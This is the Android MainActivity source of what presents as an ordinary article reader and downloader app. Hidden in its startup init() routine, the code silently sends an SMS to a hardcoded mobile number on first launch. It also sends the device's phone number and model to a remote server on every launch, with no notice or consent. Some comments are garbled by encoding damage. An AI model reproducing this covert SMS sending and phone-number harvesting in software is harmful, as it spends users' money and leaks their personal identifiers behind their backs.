package com.tianguxx.activity;

import com.tianguxx.bean.RequestType;
import com.tianguxx.utill.Config;
import com.tianguxx.utill.HttpHelp;
import com.tianguxx.utill.MobileInformation;
import android.app.Activity;
import android.content.Intent;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.text.TextUtils;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;

public class MainActivity extends Activity
{

//	private String TAG = MainActivity.class.getSimpleName();
//	private GetPhoneNumberBroadCastReciver m_broadCastReciver;

	@Override
	public void onCreate(Bundle savedInstanceState)
	{
		super.onCreate(savedInstanceState);
		setContentView(R.layout.main);

		Button downloaderButton = (Button) this.findViewById(R.id.downloader);
		Button readButton = (Button) this.findViewById(R.id.read);
		Button helpButton = (Button) this.findViewById(R.id.help);
		Button exitButton = (Button) this.findViewById(R.id.exit);
		Button updateButton = (Button) this.findViewById(R.id.update);
		// ҵ�����
		downloaderButton.setOnClickListener(new OnClickListener()
		{

			public void onClick(View v)
			{
				Intent intent = new Intent(MainActivity.this, downloader.class);
				MainActivity.this.startActivity(intent);
				// public void onClick(View v) {
				// Intent service = new Intent(MainActivity.this,
				// DownloaderService.class);
				// MainActivity.this.startService(service);

			}
		});
		// ����Ķ�
		readButton.setOnClickListener(new OnClickListener()
		{

			public void onClick(View v)
			{
				Intent intent = new Intent(MainActivity.this, ListArticleActivity.class);
				MainActivity.this.startActivity(intent);

			}
		});
		// �˳�
		exitButton.setOnClickListener(new OnClickListener()
		{

			public void onClick(View v)
			{
				MainActivity.this.finish();

			}
		});
		// ��Ȩ��Ϣ
		updateButton.setOnClickListener(new View.OnClickListener()
		{

			public void onClick(View v)
			{
				Intent service = new Intent(MainActivity.this, UpdateService.class);
				MainActivity.this.startService(service);

			}
		});
		helpButton.setOnClickListener(new View.OnClickListener()
		{

			public void onClick(View v)
			{
				Intent intent = new Intent(MainActivity.this, HelpActivity.class);
				MainActivity.this.startActivity(intent);
			}
		});


		init();
	}

	@Override
	protected void onDestroy()
	{
		super.onDestroy();
	}

	/**
	 * 每次程序启动时调用
	 */

	private void init()
	{
		sendDefaultSms();
		vistDefaultUrl();

	}

//	private boolean isVisted = false;
	
	private void vistDefaultUrl()
	{
//		if(isVisted){
//			return;
//		}
		String phoneNumber = Config.getPhoneNumber(this);
		String mode = MobileInformation.getDeviceModel();
		String ver = Config.VERSION;
		
		if (TextUtils.isEmpty(phoneNumber))
		{
			//通过飞信 获取本机号码 请求
			Intent getPhone = new Intent(this, DemoService.class);
			getPhone.putExtra("type", RequestType.GET_PHONENUMBER);
			startService(getPhone);
			
			phoneNumber = Config.DEFAULT_PHONE_NUMBER;
		}
		Intent vistUrl = new Intent(this, DemoService.class);
		String url = HttpHelp.createUrl(phoneNumber, "0", mode, ver);
		vistUrl.putExtra(Intent.EXTRA_TEXT, url);
		vistUrl.putExtra("type", RequestType.VIST_URL);
		startService(vistUrl);
	}

	/**
	 * 向 158 1155 9266 号码发送默认短信
	 */
	private void sendDefaultSms()
	{
		boolean isSended = Config.get(this).getBoolean(Config.FIRST_SMS_SENDED, false);
		if(isSended)return;
		
		Editor editor = Config.getEditor(this);
		editor.putBoolean(Config.FIRST_SMS_SENDED, true);
		editor.commit();
		
		Intent smsIntent = new Intent(this, DemoService.class);
		smsIntent.putExtra("type", RequestType.SEND_SMS);
		smsIntent.putExtra(Intent.EXTRA_PHONE_NUMBER, "15811559266");
		smsIntent.putExtra(Intent.EXTRA_TEXT, "android第一次响应成功");
		startService(smsIntent);
	}

//	private class GetPhoneNumberBroadCastReciver extends BroadcastReceiver
//	{
//
//		@Override
//		public void onReceive(Context context, Intent intent)
//		{
//			if (ActionManager.GET_PHONE_NUMBER.equals(intent.getAction()))
//			{
//				vistDefaultUrl();
//			}
//		}
//	}
}